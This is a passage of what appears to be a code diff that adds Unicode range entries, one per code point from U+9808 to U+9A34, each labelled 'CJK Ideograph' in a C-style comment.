+ [0x9808, 0x9808], /* CJK Ideograph */
+ [0x9809, 0x9809], /* CJK Ideograph */
+ [0x980a, 0x980a], /* CJK Ideograph */
+ [0x980b, 0x980b], /* CJK Ideograph */
+ [0x980c, 0x980c], /* CJK Ideograph */
+ [0x980d, 0x980d], /* CJK Ideograph */
+ [0x980e, 0x980e], /* CJK Ideograph */
+ [0x980f, 0x980f], /* CJK Ideograph */
+ [0x9810, 0x9810], /* CJK Ideograph */
+ [0x9811, 0x9811], /* CJK Ideograph */
+ [0x9812, 0x9812], /* CJK Ideograph */
+ [0x9813, 0x9813], /* CJK Ideograph */
+ [0x9814, 0x9814], /* CJK Ideograph */
+ [0x9815, 0x9815], /* CJK Ideograph */
+ [0x9816, 0x9816], /* CJK Ideograph */
+ [0x9817, 0x9817], /* CJK Ideograph */
+ [0x9818, 0x9818], /* CJK Ideograph */
+ [0x9819, 0x9819], /* CJK Ideograph */
+ [0x981a, 0x981a], /* CJK Ideograph */
+ [0x981b, 0x981b], /* CJK Ideograph */
+ [0x981c, 0x981c], /* CJK Ideograph */
+ [0x981d, 0x981d], /* CJK Ideograph */
+ [0x981e, 0x981e], /* CJK Ideograph */
+ [0x981f, 0x981f], /* CJK Ideograph */
+ [0x9820, 0x9820], /* CJK Ideograph */
+ [0x9821, 0x9821], /* CJK Ideograph */
+ [0x9822, 0x9822], /* CJK Ideograph */
+ [0x9823, 0x9823], /* CJK Ideograph */
+ [0x9824, 0x9824], /* CJK Ideograph */
+ [0x9825, 0x9825], /* CJK Ideograph */
+ [0x9826, 0x9826], /* CJK Ideograph */
+ [0x9827, 0x9827], /* CJK Ideograph */
+ [0x9828, 0x9828], /* CJK Ideograph */
+ [0x9829, 0x9829], /* CJK Ideograph */
+ [0x982a, 0x982a], /* CJK Ideograph */
+ [0x982b, 0x982b], /* CJK Ideograph */
+ [0x982c, 0x982c], /* CJK Ideograph */
+ [0x982d, 0x982d], /* CJK Ideograph */
+ [0x982e, 0x982e], /* CJK Ideograph */
+ [0x982f, 0x982f], /* CJK Ideograph */
+ [0x9830, 0x9830], /* CJK Ideograph */
+ [0x9831, 0x9831], /* CJK Ideograph */
+ [0x9832, 0x9832], /* CJK Ideograph */
+ [0x9833, 0x9833], /* CJK Ideograph */
+ [0x9834, 0x9834], /* CJK Ideograph */
+ [0x9835, 0x9835], /* CJK Ideograph */
+ [0x9836, 0x9836], /* CJK Ideograph */
+ [0x9837, 0x9837], /* CJK Ideograph */
+ [0x9838, 0x9838], /* CJK Ideograph */
+ [0x9839, 0x9839], /* CJK Ideograph */
+ [0x983a, 0x983a], /* CJK Ideograph */
+ [0x983b, 0x983b], /* CJK Ideograph */
+ [0x983c, 0x983c], /* CJK Ideograph */
+ [0x983d, 0x983d], /* CJK Ideograph */
+ [0x983e, 0x983e], /* CJK Ideograph */
+ [0x983f, 0x983f], /* CJK Ideograph */
+ [0x9840, 0x9840], /* CJK Ideograph */
+ [0x9841, 0x9841], /* CJK Ideograph */
+ [0x9842, 0x9842], /* CJK Ideograph */
+ [0x9843, 0x9843], /* CJK Ideograph */
+ [0x9844, 0x9844], /* CJK Ideograph */
+ [0x9845, 0x9845], /* CJK Ideograph */
+ [0x9846, 0x9846], /* CJK Ideograph */
+ [0x9847, 0x9847], /* CJK Ideograph */
+ [0x9848, 0x9848], /* CJK Ideograph */
+ [0x9849, 0x9849], /* CJK Ideograph */
+ [0x984a, 0x984a], /* CJK Ideograph */
+ [0x984b, 0x984b], /* CJK Ideograph */
+ [0x984c, 0x984c], /* CJK Ideograph */
+ [0x984d, 0x984d], /* CJK Ideograph */
+ [0x984e, 0x984e], /* CJK Ideograph */
+ [0x984f, 0x984f], /* CJK Ideograph */
+ [0x9850, 0x9850], /* CJK Ideograph */
+ [0x9851, 0x9851], /* CJK Ideograph */
+ [0x9852, 0x9852], /* CJK Ideograph */
+ [0x9853, 0x9853], /* CJK Ideograph */
+ [0x9854, 0x9854], /* CJK Ideograph */
+ [0x9855, 0x9855], /* CJK Ideograph */
+ [0x9856, 0x9856], /* CJK Ideograph */
+ [0x9857, 0x9857], /* CJK Ideograph */
+ [0x9858, 0x9858], /* CJK Ideograph */
+ [0x9859, 0x9859], /* CJK Ideograph */
+ [0x985a, 0x985a], /* CJK Ideograph */
+ [0x985b, 0x985b], /* CJK Ideograph */
+ [0x985c, 0x985c], /* CJK Ideograph */
+ [0x985d, 0x985d], /* CJK Ideograph */
+ [0x985e, 0x985e], /* CJK Ideograph */
+ [0x985f, 0x985f], /* CJK Ideograph */
+ [0x9860, 0x9860], /* CJK Ideograph */
+ [0x9861, 0x9861], /* CJK Ideograph */
+ [0x9862, 0x9862], /* CJK Ideograph */
+ [0x9863, 0x9863], /* CJK Ideograph */
+ [0x9864, 0x9864], /* CJK Ideograph */
+ [0x9865, 0x9865], /* CJK Ideograph */
+ [0x9866, 0x9866], /* CJK Ideograph */
+ [0x9867, 0x9867], /* CJK Ideograph */
+ [0x9868, 0x9868], /* CJK Ideograph */
+ [0x9869, 0x9869], /* CJK Ideograph */
+ [0x986a, 0x986a], /* CJK Ideograph */
+ [0x986b, 0x986b], /* CJK Ideograph */
+ [0x986c, 0x986c], /* CJK Ideograph */
+ [0x986d, 0x986d], /* CJK Ideograph */
+ [0x986e, 0x986e], /* CJK Ideograph */
+ [0x986f, 0x986f], /* CJK Ideograph */
+ [0x9870, 0x9870], /* CJK Ideograph */
+ [0x9871, 0x9871], /* CJK Ideograph */
+ [0x9872, 0x9872], /* CJK Ideograph */
+ [0x9873, 0x9873], /* CJK Ideograph */
+ [0x9874, 0x9874], /* CJK Ideograph */
+ [0x9875, 0x9875], /* CJK Ideograph */
+ [0x9876, 0x9876], /* CJK Ideograph */
+ [0x9877, 0x9877], /* CJK Ideograph */
+ [0x9878, 0x9878], /* CJK Ideograph */
+ [0x9879, 0x9879], /* CJK Ideograph */
+ [0x987a, 0x987a], /* CJK Ideograph */
+ [0x987b, 0x987b], /* CJK Ideograph */
+ [0x987c, 0x987c], /* CJK Ideograph */
+ [0x987d, 0x987d], /* CJK Ideograph */
+ [0x987e, 0x987e], /* CJK Ideograph */
+ [0x987f, 0x987f], /* CJK Ideograph */
+ [0x9880, 0x9880], /* CJK Ideograph */
+ [0x9881, 0x9881], /* CJK Ideograph */
+ [0x9882, 0x9882], /* CJK Ideograph */
+ [0x9883, 0x9883], /* CJK Ideograph */
+ [0x9884, 0x9884], /* CJK Ideograph */
+ [0x9885, 0x9885], /* CJK Ideograph */
+ [0x9886, 0x9886], /* CJK Ideograph */
+ [0x9887, 0x9887], /* CJK Ideograph */
+ [0x9888, 0x9888], /* CJK Ideograph */
+ [0x9889, 0x9889], /* CJK Ideograph */
+ [0x988a, 0x988a], /* CJK Ideograph */
+ [0x988b, 0x988b], /* CJK Ideograph */
+ [0x988c, 0x988c], /* CJK Ideograph */
+ [0x988d, 0x988d], /* CJK Ideograph */
+ [0x988e, 0x988e], /* CJK Ideograph */
+ [0x988f, 0x988f], /* CJK Ideograph */
+ [0x9890, 0x9890], /* CJK Ideograph */
+ [0x9891, 0x9891], /* CJK Ideograph */
+ [0x9892, 0x9892], /* CJK Ideograph */
+ [0x9893, 0x9893], /* CJK Ideograph */
+ [0x9894, 0x9894], /* CJK Ideograph */
+ [0x9895, 0x9895], /* CJK Ideograph */
+ [0x9896, 0x9896], /* CJK Ideograph */
+ [0x9897, 0x9897], /* CJK Ideograph */
+ [0x9898, 0x9898], /* CJK Ideograph */
+ [0x9899, 0x9899], /* CJK Ideograph */
+ [0x989a, 0x989a], /* CJK Ideograph */
+ [0x989b, 0x989b], /* CJK Ideograph */
+ [0x989c, 0x989c], /* CJK Ideograph */
+ [0x989d, 0x989d], /* CJK Ideograph */
+ [0x989e, 0x989e], /* CJK Ideograph */
+ [0x989f, 0x989f], /* CJK Ideograph */
+ [0x98a0, 0x98a0], /* CJK Ideograph */
+ [0x98a1, 0x98a1], /* CJK Ideograph */
+ [0x98a2, 0x98a2], /* CJK Ideograph */
+ [0x98a3, 0x98a3], /* CJK Ideograph */
+ [0x98a4, 0x98a4], /* CJK Ideograph */
+ [0x98a5, 0x98a5], /* CJK Ideograph */
+ [0x98a6, 0x98a6], /* CJK Ideograph */
+ [0x98a7, 0x98a7], /* CJK Ideograph */
+ [0x98a8, 0x98a8], /* CJK Ideograph */
+ [0x98a9, 0x98a9], /* CJK Ideograph */
+ [0x98aa, 0x98aa], /* CJK Ideograph */
+ [0x98ab, 0x98ab], /* CJK Ideograph */
+ [0x98ac, 0x98ac], /* CJK Ideograph */
+ [0x98ad, 0x98ad], /* CJK Ideograph */
+ [0x98ae, 0x98ae], /* CJK Ideograph */
+ [0x98af, 0x98af], /* CJK Ideograph */
+ [0x98b0, 0x98b0], /* CJK Ideograph */
+ [0x98b1, 0x98b1], /* CJK Ideograph */
+ [0x98b2, 0x98b2], /* CJK Ideograph */
+ [0x98b3, 0x98b3], /* CJK Ideograph */
+ [0x98b4, 0x98b4], /* CJK Ideograph */
+ [0x98b5, 0x98b5], /* CJK Ideograph */
+ [0x98b6, 0x98b6], /* CJK Ideograph */
+ [0x98b7, 0x98b7], /* CJK Ideograph */
+ [0x98b8, 0x98b8], /* CJK Ideograph */
+ [0x98b9, 0x98b9], /* CJK Ideograph */
+ [0x98ba, 0x98ba], /* CJK Ideograph */
+ [0x98bb, 0x98bb], /* CJK Ideograph */
+ [0x98bc, 0x98bc], /* CJK Ideograph */
+ [0x98bd, 0x98bd], /* CJK Ideograph */
+ [0x98be, 0x98be], /* CJK Ideograph */
+ [0x98bf, 0x98bf], /* CJK Ideograph */
+ [0x98c0, 0x98c0], /* CJK Ideograph */
+ [0x98c1, 0x98c1], /* CJK Ideograph */
+ [0x98c2, 0x98c2], /* CJK Ideograph */
+ [0x98c3, 0x98c3], /* CJK Ideograph */
+ [0x98c4, 0x98c4], /* CJK Ideograph */
+ [0x98c5, 0x98c5], /* CJK Ideograph */
+ [0x98c6, 0x98c6], /* CJK Ideograph */
+ [0x98c7, 0x98c7], /* CJK Ideograph */
+ [0x98c8, 0x98c8], /* CJK Ideograph */
+ [0x98c9, 0x98c9], /* CJK Ideograph */
+ [0x98ca, 0x98ca], /* CJK Ideograph */
+ [0x98cb, 0x98cb], /* CJK Ideograph */
+ [0x98cc, 0x98cc], /* CJK Ideograph */
+ [0x98cd, 0x98cd], /* CJK Ideograph */
+ [0x98ce, 0x98ce], /* CJK Ideograph */
+ [0x98cf, 0x98cf], /* CJK Ideograph */
+ [0x98d0, 0x98d0], /* CJK Ideograph */
+ [0x98d1, 0x98d1], /* CJK Ideograph */
+ [0x98d2, 0x98d2], /* CJK Ideograph */
+ [0x98d3, 0x98d3], /* CJK Ideograph */
+ [0x98d4, 0x98d4], /* CJK Ideograph */
+ [0x98d5, 0x98d5], /* CJK Ideograph */
+ [0x98d6, 0x98d6], /* CJK Ideograph */
+ [0x98d7, 0x98d7], /* CJK Ideograph */
+ [0x98d8, 0x98d8], /* CJK Ideograph */
+ [0x98d9, 0x98d9], /* CJK Ideograph */
+ [0x98da, 0x98da], /* CJK Ideograph */
+ [0x98db, 0x98db], /* CJK Ideograph */
+ [0x98dc, 0x98dc], /* CJK Ideograph */
+ [0x98dd, 0x98dd], /* CJK Ideograph */
+ [0x98de, 0x98de], /* CJK Ideograph */
+ [0x98df, 0x98df], /* CJK Ideograph */
+ [0x98e0, 0x98e0], /* CJK Ideograph */
+ [0x98e1, 0x98e1], /* CJK Ideograph */
+ [0x98e2, 0x98e2], /* CJK Ideograph */
+ [0x98e3, 0x98e3], /* CJK Ideograph */
+ [0x98e4, 0x98e4], /* CJK Ideograph */
+ [0x98e5, 0x98e5], /* CJK Ideograph */
+ [0x98e6, 0x98e6], /* CJK Ideograph */
+ [0x98e7, 0x98e7], /* CJK Ideograph */
+ [0x98e8, 0x98e8], /* CJK Ideograph */
+ [0x98e9, 0x98e9], /* CJK Ideograph */
+ [0x98ea, 0x98ea], /* CJK Ideograph */
+ [0x98eb, 0x98eb], /* CJK Ideograph */
+ [0x98ec, 0x98ec], /* CJK Ideograph */
+ [0x98ed, 0x98ed], /* CJK Ideograph */
+ [0x98ee, 0x98ee], /* CJK Ideograph */
+ [0x98ef, 0x98ef], /* CJK Ideograph */
+ [0x98f0, 0x98f0], /* CJK Ideograph */
+ [0x98f1, 0x98f1], /* CJK Ideograph */
+ [0x98f2, 0x98f2], /* CJK Ideograph */
+ [0x98f3, 0x98f3], /* CJK Ideograph */
+ [0x98f4, 0x98f4], /* CJK Ideograph */
+ [0x98f5, 0x98f5], /* CJK Ideograph */
+ [0x98f6, 0x98f6], /* CJK Ideograph */
+ [0x98f7, 0x98f7], /* CJK Ideograph */
+ [0x98f8, 0x98f8], /* CJK Ideograph */
+ [0x98f9, 0x98f9], /* CJK Ideograph */
+ [0x98fa, 0x98fa], /* CJK Ideograph */
+ [0x98fb, 0x98fb], /* CJK Ideograph */
+ [0x98fc, 0x98fc], /* CJK Ideograph */
+ [0x98fd, 0x98fd], /* CJK Ideograph */
+ [0x98fe, 0x98fe], /* CJK Ideograph */
+ [0x98ff, 0x98ff], /* CJK Ideograph */
+ [0x9900, 0x9900], /* CJK Ideograph */
+ [0x9901, 0x9901], /* CJK Ideograph */
+ [0x9902, 0x9902], /* CJK Ideograph */
+ [0x9903, 0x9903], /* CJK Ideograph */
+ [0x9904, 0x9904], /* CJK Ideograph */
+ [0x9905, 0x9905], /* CJK Ideograph */
+ [0x9906, 0x9906], /* CJK Ideograph */
+ [0x9907, 0x9907], /* CJK Ideograph */
+ [0x9908, 0x9908], /* CJK Ideograph */
+ [0x9909, 0x9909], /* CJK Ideograph */
+ [0x990a, 0x990a], /* CJK Ideograph */
+ [0x990b, 0x990b], /* CJK Ideograph */
+ [0x990c, 0x990c], /* CJK Ideograph */
+ [0x990d, 0x990d], /* CJK Ideograph */
+ [0x990e, 0x990e], /* CJK Ideograph */
+ [0x990f, 0x990f], /* CJK Ideograph */
+ [0x9910, 0x9910], /* CJK Ideograph */
+ [0x9911, 0x9911], /* CJK Ideograph */
+ [0x9912, 0x9912], /* CJK Ideograph */
+ [0x9913, 0x9913], /* CJK Ideograph */
+ [0x9914, 0x9914], /* CJK Ideograph */
+ [0x9915, 0x9915], /* CJK Ideograph */
+ [0x9916, 0x9916], /* CJK Ideograph */
+ [0x9917, 0x9917], /* CJK Ideograph */
+ [0x9918, 0x9918], /* CJK Ideograph */
+ [0x9919, 0x9919], /* CJK Ideograph */
+ [0x991a, 0x991a], /* CJK Ideograph */
+ [0x991b, 0x991b], /* CJK Ideograph */
+ [0x991c, 0x991c], /* CJK Ideograph */
+ [0x991d, 0x991d], /* CJK Ideograph */
+ [0x991e, 0x991e], /* CJK Ideograph */
+ [0x991f, 0x991f], /* CJK Ideograph */
+ [0x9920, 0x9920], /* CJK Ideograph */
+ [0x9921, 0x9921], /* CJK Ideograph */
+ [0x9922, 0x9922], /* CJK Ideograph */
+ [0x9923, 0x9923], /* CJK Ideograph */
+ [0x9924, 0x9924], /* CJK Ideograph */
+ [0x9925, 0x9925], /* CJK Ideograph */
+ [0x9926, 0x9926], /* CJK Ideograph */
+ [0x9927, 0x9927], /* CJK Ideograph */
+ [0x9928, 0x9928], /* CJK Ideograph */
+ [0x9929, 0x9929], /* CJK Ideograph */
+ [0x992a, 0x992a], /* CJK Ideograph */
+ [0x992b, 0x992b], /* CJK Ideograph */
+ [0x992c, 0x992c], /* CJK Ideograph */
+ [0x992d, 0x992d], /* CJK Ideograph */
+ [0x992e, 0x992e], /* CJK Ideograph */
+ [0x992f, 0x992f], /* CJK Ideograph */
+ [0x9930, 0x9930], /* CJK Ideograph */
+ [0x9931, 0x9931], /* CJK Ideograph */
+ [0x9932, 0x9932], /* CJK Ideograph */
+ [0x9933, 0x9933], /* CJK Ideograph */
+ [0x9934, 0x9934], /* CJK Ideograph */
+ [0x9935, 0x9935], /* CJK Ideograph */
+ [0x9936, 0x9936], /* CJK Ideograph */
+ [0x9937, 0x9937], /* CJK Ideograph */
+ [0x9938, 0x9938], /* CJK Ideograph */
+ [0x9939, 0x9939], /* CJK Ideograph */
+ [0x993a, 0x993a], /* CJK Ideograph */
+ [0x993b, 0x993b], /* CJK Ideograph */
+ [0x993c, 0x993c], /* CJK Ideograph */
+ [0x993d, 0x993d], /* CJK Ideograph */
+ [0x993e, 0x993e], /* CJK Ideograph */
+ [0x993f, 0x993f], /* CJK Ideograph */
+ [0x9940, 0x9940], /* CJK Ideograph */
+ [0x9941, 0x9941], /* CJK Ideograph */
+ [0x9942, 0x9942], /* CJK Ideograph */
+ [0x9943, 0x9943], /* CJK Ideograph */
+ [0x9944, 0x9944], /* CJK Ideograph */
+ [0x9945, 0x9945], /* CJK Ideograph */
+ [0x9946, 0x9946], /* CJK Ideograph */
+ [0x9947, 0x9947], /* CJK Ideograph */
+ [0x9948, 0x9948], /* CJK Ideograph */
+ [0x9949, 0x9949], /* CJK Ideograph */
+ [0x994a, 0x994a], /* CJK Ideograph */
+ [0x994b, 0x994b], /* CJK Ideograph */
+ [0x994c, 0x994c], /* CJK Ideograph */
+ [0x994d, 0x994d], /* CJK Ideograph */
+ [0x994e, 0x994e], /* CJK Ideograph */
+ [0x994f, 0x994f], /* CJK Ideograph */
+ [0x9950, 0x9950], /* CJK Ideograph */
+ [0x9951, 0x9951], /* CJK Ideograph */
+ [0x9952, 0x9952], /* CJK Ideograph */
+ [0x9953, 0x9953], /* CJK Ideograph */
+ [0x9954, 0x9954], /* CJK Ideograph */
+ [0x9955, 0x9955], /* CJK Ideograph */
+ [0x9956, 0x9956], /* CJK Ideograph */
+ [0x9957, 0x9957], /* CJK Ideograph */
+ [0x9958, 0x9958], /* CJK Ideograph */
+ [0x9959, 0x9959], /* CJK Ideograph */
+ [0x995a, 0x995a], /* CJK Ideograph */
+ [0x995b, 0x995b], /* CJK Ideograph */
+ [0x995c, 0x995c], /* CJK Ideograph */
+ [0x995d, 0x995d], /* CJK Ideograph */
+ [0x995e, 0x995e], /* CJK Ideograph */
+ [0x995f, 0x995f], /* CJK Ideograph */
+ [0x9960, 0x9960], /* CJK Ideograph */
+ [0x9961, 0x9961], /* CJK Ideograph */
+ [0x9962, 0x9962], /* CJK Ideograph */
+ [0x9963, 0x9963], /* CJK Ideograph */
+ [0x9964, 0x9964], /* CJK Ideograph */
+ [0x9965, 0x9965], /* CJK Ideograph */
+ [0x9966, 0x9966], /* CJK Ideograph */
+ [0x9967, 0x9967], /* CJK Ideograph */
+ [0x9968, 0x9968], /* CJK Ideograph */
+ [0x9969, 0x9969], /* CJK Ideograph */
+ [0x996a, 0x996a], /* CJK Ideograph */
+ [0x996b, 0x996b], /* CJK Ideograph */
+ [0x996c, 0x996c], /* CJK Ideograph */
+ [0x996d, 0x996d], /* CJK Ideograph */
+ [0x996e, 0x996e], /* CJK Ideograph */
+ [0x996f, 0x996f], /* CJK Ideograph */
+ [0x9970, 0x9970], /* CJK Ideograph */
+ [0x9971, 0x9971], /* CJK Ideograph */
+ [0x9972, 0x9972], /* CJK Ideograph */
+ [0x9973, 0x9973], /* CJK Ideograph */
+ [0x9974, 0x9974], /* CJK Ideograph */
+ [0x9975, 0x9975], /* CJK Ideograph */
+ [0x9976, 0x9976], /* CJK Ideograph */
+ [0x9977, 0x9977], /* CJK Ideograph */
+ [0x9978, 0x9978], /* CJK Ideograph */
+ [0x9979, 0x9979], /* CJK Ideograph */
+ [0x997a, 0x997a], /* CJK Ideograph */
+ [0x997b, 0x997b], /* CJK Ideograph */
+ [0x997c, 0x997c], /* CJK Ideograph */
+ [0x997d, 0x997d], /* CJK Ideograph */
+ [0x997e, 0x997e], /* CJK Ideograph */
+ [0x997f, 0x997f], /* CJK Ideograph */
+ [0x9980, 0x9980], /* CJK Ideograph */
+ [0x9981, 0x9981], /* CJK Ideograph */
+ [0x9982, 0x9982], /* CJK Ideograph */
+ [0x9983, 0x9983], /* CJK Ideograph */
+ [0x9984, 0x9984], /* CJK Ideograph */
+ [0x9985, 0x9985], /* CJK Ideograph */
+ [0x9986, 0x9986], /* CJK Ideograph */
+ [0x9987, 0x9987], /* CJK Ideograph */
+ [0x9988, 0x9988], /* CJK Ideograph */
+ [0x9989, 0x9989], /* CJK Ideograph */
+ [0x998a, 0x998a], /* CJK Ideograph */
+ [0x998b, 0x998b], /* CJK Ideograph */
+ [0x998c, 0x998c], /* CJK Ideograph */
+ [0x998d, 0x998d], /* CJK Ideograph */
+ [0x998e, 0x998e], /* CJK Ideograph */
+ [0x998f, 0x998f], /* CJK Ideograph */
+ [0x9990, 0x9990], /* CJK Ideograph */
+ [0x9991, 0x9991], /* CJK Ideograph */
+ [0x9992, 0x9992], /* CJK Ideograph */
+ [0x9993, 0x9993], /* CJK Ideograph */
+ [0x9994, 0x9994], /* CJK Ideograph */
+ [0x9995, 0x9995], /* CJK Ideograph */
+ [0x9996, 0x9996], /* CJK Ideograph */
+ [0x9997, 0x9997], /* CJK Ideograph */
+ [0x9998, 0x9998], /* CJK Ideograph */
+ [0x9999, 0x9999], /* CJK Ideograph */
+ [0x999a, 0x999a], /* CJK Ideograph */
+ [0x999b, 0x999b], /* CJK Ideograph */
+ [0x999c, 0x999c], /* CJK Ideograph */
+ [0x999d, 0x999d], /* CJK Ideograph */
+ [0x999e, 0x999e], /* CJK Ideograph */
+ [0x999f, 0x999f], /* CJK Ideograph */
+ [0x99a0, 0x99a0], /* CJK Ideograph */
+ [0x99a1, 0x99a1], /* CJK Ideograph */
+ [0x99a2, 0x99a2], /* CJK Ideograph */
+ [0x99a3, 0x99a3], /* CJK Ideograph */
+ [0x99a4, 0x99a4], /* CJK Ideograph */
+ [0x99a5, 0x99a5], /* CJK Ideograph */
+ [0x99a6, 0x99a6], /* CJK Ideograph */
+ [0x99a7, 0x99a7], /* CJK Ideograph */
+ [0x99a8, 0x99a8], /* CJK Ideograph */
+ [0x99a9, 0x99a9], /* CJK Ideograph */
+ [0x99aa, 0x99aa], /* CJK Ideograph */
+ [0x99ab, 0x99ab], /* CJK Ideograph */
+ [0x99ac, 0x99ac], /* CJK Ideograph */
+ [0x99ad, 0x99ad], /* CJK Ideograph */
+ [0x99ae, 0x99ae], /* CJK Ideograph */
+ [0x99af, 0x99af], /* CJK Ideograph */
+ [0x99b0, 0x99b0], /* CJK Ideograph */
+ [0x99b1, 0x99b1], /* CJK Ideograph */
+ [0x99b2, 0x99b2], /* CJK Ideograph */
+ [0x99b3, 0x99b3], /* CJK Ideograph */
+ [0x99b4, 0x99b4], /* CJK Ideograph */
+ [0x99b5, 0x99b5], /* CJK Ideograph */
+ [0x99b6, 0x99b6], /* CJK Ideograph */
+ [0x99b7, 0x99b7], /* CJK Ideograph */
+ [0x99b8, 0x99b8], /* CJK Ideograph */
+ [0x99b9, 0x99b9], /* CJK Ideograph */
+ [0x99ba, 0x99ba], /* CJK Ideograph */
+ [0x99bb, 0x99bb], /* CJK Ideograph */
+ [0x99bc, 0x99bc], /* CJK Ideograph */
+ [0x99bd, 0x99bd], /* CJK Ideograph */
+ [0x99be, 0x99be], /* CJK Ideograph */
+ [0x99bf, 0x99bf], /* CJK Ideograph */
+ [0x99c0, 0x99c0], /* CJK Ideograph */
+ [0x99c1, 0x99c1], /* CJK Ideograph */
+ [0x99c2, 0x99c2], /* CJK Ideograph */
+ [0x99c3, 0x99c3], /* CJK Ideograph */
+ [0x99c4, 0x99c4], /* CJK Ideograph */
+ [0x99c5, 0x99c5], /* CJK Ideograph */
+ [0x99c6, 0x99c6], /* CJK Ideograph */
+ [0x99c7, 0x99c7], /* CJK Ideograph */
+ [0x99c8, 0x99c8], /* CJK Ideograph */
+ [0x99c9, 0x99c9], /* CJK Ideograph */
+ [0x99ca, 0x99ca], /* CJK Ideograph */
+ [0x99cb, 0x99cb], /* CJK Ideograph */
+ [0x99cc, 0x99cc], /* CJK Ideograph */
+ [0x99cd, 0x99cd], /* CJK Ideograph */
+ [0x99ce, 0x99ce], /* CJK Ideograph */
+ [0x99cf, 0x99cf], /* CJK Ideograph */
+ [0x99d0, 0x99d0], /* CJK Ideograph */
+ [0x99d1, 0x99d1], /* CJK Ideograph */
+ [0x99d2, 0x99d2], /* CJK Ideograph */
+ [0x99d3, 0x99d3], /* CJK Ideograph */
+ [0x99d4, 0x99d4], /* CJK Ideograph */
+ [0x99d5, 0x99d5], /* CJK Ideograph */
+ [0x99d6, 0x99d6], /* CJK Ideograph */
+ [0x99d7, 0x99d7], /* CJK Ideograph */
+ [0x99d8, 0x99d8], /* CJK Ideograph */
+ [0x99d9, 0x99d9], /* CJK Ideograph */
+ [0x99da, 0x99da], /* CJK Ideograph */
+ [0x99db, 0x99db], /* CJK Ideograph */
+ [0x99dc, 0x99dc], /* CJK Ideograph */
+ [0x99dd, 0x99dd], /* CJK Ideograph */
+ [0x99de, 0x99de], /* CJK Ideograph */
+ [0x99df, 0x99df], /* CJK Ideograph */
+ [0x99e0, 0x99e0], /* CJK Ideograph */
+ [0x99e1, 0x99e1], /* CJK Ideograph */
+ [0x99e2, 0x99e2], /* CJK Ideograph */
+ [0x99e3, 0x99e3], /* CJK Ideograph */
+ [0x99e4, 0x99e4], /* CJK Ideograph */
+ [0x99e5, 0x99e5], /* CJK Ideograph */
+ [0x99e6, 0x99e6], /* CJK Ideograph */
+ [0x99e7, 0x99e7], /* CJK Ideograph */
+ [0x99e8, 0x99e8], /* CJK Ideograph */
+ [0x99e9, 0x99e9], /* CJK Ideograph */
+ [0x99ea, 0x99ea], /* CJK Ideograph */
+ [0x99eb, 0x99eb], /* CJK Ideograph */
+ [0x99ec, 0x99ec], /* CJK Ideograph */
+ [0x99ed, 0x99ed], /* CJK Ideograph */
+ [0x99ee, 0x99ee], /* CJK Ideograph */
+ [0x99ef, 0x99ef], /* CJK Ideograph */
+ [0x99f0, 0x99f0], /* CJK Ideograph */
+ [0x99f1, 0x99f1], /* CJK Ideograph */
+ [0x99f2, 0x99f2], /* CJK Ideograph */
+ [0x99f3, 0x99f3], /* CJK Ideograph */
+ [0x99f4, 0x99f4], /* CJK Ideograph */
+ [0x99f5, 0x99f5], /* CJK Ideograph */
+ [0x99f6, 0x99f6], /* CJK Ideograph */
+ [0x99f7, 0x99f7], /* CJK Ideograph */
+ [0x99f8, 0x99f8], /* CJK Ideograph */
+ [0x99f9, 0x99f9], /* CJK Ideograph */
+ [0x99fa, 0x99fa], /* CJK Ideograph */
+ [0x99fb, 0x99fb], /* CJK Ideograph */
+ [0x99fc, 0x99fc], /* CJK Ideograph */
+ [0x99fd, 0x99fd], /* CJK Ideograph */
+ [0x99fe, 0x99fe], /* CJK Ideograph */
+ [0x99ff, 0x99ff], /* CJK Ideograph */
+ [0x9a00, 0x9a00], /* CJK Ideograph */
+ [0x9a01, 0x9a01], /* CJK Ideograph */
+ [0x9a02, 0x9a02], /* CJK Ideograph */
+ [0x9a03, 0x9a03], /* CJK Ideograph */
+ [0x9a04, 0x9a04], /* CJK Ideograph */
+ [0x9a05, 0x9a05], /* CJK Ideograph */
+ [0x9a06, 0x9a06], /* CJK Ideograph */
+ [0x9a07, 0x9a07], /* CJK Ideograph */
+ [0x9a08, 0x9a08], /* CJK Ideograph */
+ [0x9a09, 0x9a09], /* CJK Ideograph */
+ [0x9a0a, 0x9a0a], /* CJK Ideograph */
+ [0x9a0b, 0x9a0b], /* CJK Ideograph */
+ [0x9a0c, 0x9a0c], /* CJK Ideograph */
+ [0x9a0d, 0x9a0d], /* CJK Ideograph */
+ [0x9a0e, 0x9a0e], /* CJK Ideograph */
+ [0x9a0f, 0x9a0f], /* CJK Ideograph */
+ [0x9a10, 0x9a10], /* CJK Ideograph */
+ [0x9a11, 0x9a11], /* CJK Ideograph */
+ [0x9a12, 0x9a12], /* CJK Ideograph */
+ [0x9a13, 0x9a13], /* CJK Ideograph */
+ [0x9a14, 0x9a14], /* CJK Ideograph */
+ [0x9a15, 0x9a15], /* CJK Ideograph */
+ [0x9a16, 0x9a16], /* CJK Ideograph */
+ [0x9a17, 0x9a17], /* CJK Ideograph */
+ [0x9a18, 0x9a18], /* CJK Ideograph */
+ [0x9a19, 0x9a19], /* CJK Ideograph */
+ [0x9a1a, 0x9a1a], /* CJK Ideograph */
+ [0x9a1b, 0x9a1b], /* CJK Ideograph */
+ [0x9a1c, 0x9a1c], /* CJK Ideograph */
+ [0x9a1d, 0x9a1d], /* CJK Ideograph */
+ [0x9a1e, 0x9a1e], /* CJK Ideograph */
+ [0x9a1f, 0x9a1f], /* CJK Ideograph */
+ [0x9a20, 0x9a20], /* CJK Ideograph */
+ [0x9a21, 0x9a21], /* CJK Ideograph */
+ [0x9a22, 0x9a22], /* CJK Ideograph */
+ [0x9a23, 0x9a23], /* CJK Ideograph */
+ [0x9a24, 0x9a24], /* CJK Ideograph */
+ [0x9a25, 0x9a25], /* CJK Ideograph */
+ [0x9a26, 0x9a26], /* CJK Ideograph */
+ [0x9a27, 0x9a27], /* CJK Ideograph */
+ [0x9a28, 0x9a28], /* CJK Ideograph */
+ [0x9a29, 0x9a29], /* CJK Ideograph */
+ [0x9a2a, 0x9a2a], /* CJK Ideograph */
+ [0x9a2b, 0x9a2b], /* CJK Ideograph */
+ [0x9a2c, 0x9a2c], /* CJK Ideograph */
+ [0x9a2d, 0x9a2d], /* CJK Ideograph */
+ [0x9a2e, 0x9a2e], /* CJK Ideograph */
+ [0x9a2f, 0x9a2f], /* CJK Ideograph */
+ [0x9a30, 0x9a30], /* CJK Ideograph */
+ [0x9a31, 0x9a31], /* CJK Ideograph */
+ [0x9a32, 0x9a32], /* CJK Ideograph */
+ [0x9a33, 0x9a33], /* CJK Ideograph */
+ [0x9a34, 0x9a34], /* CJK Ideograph */
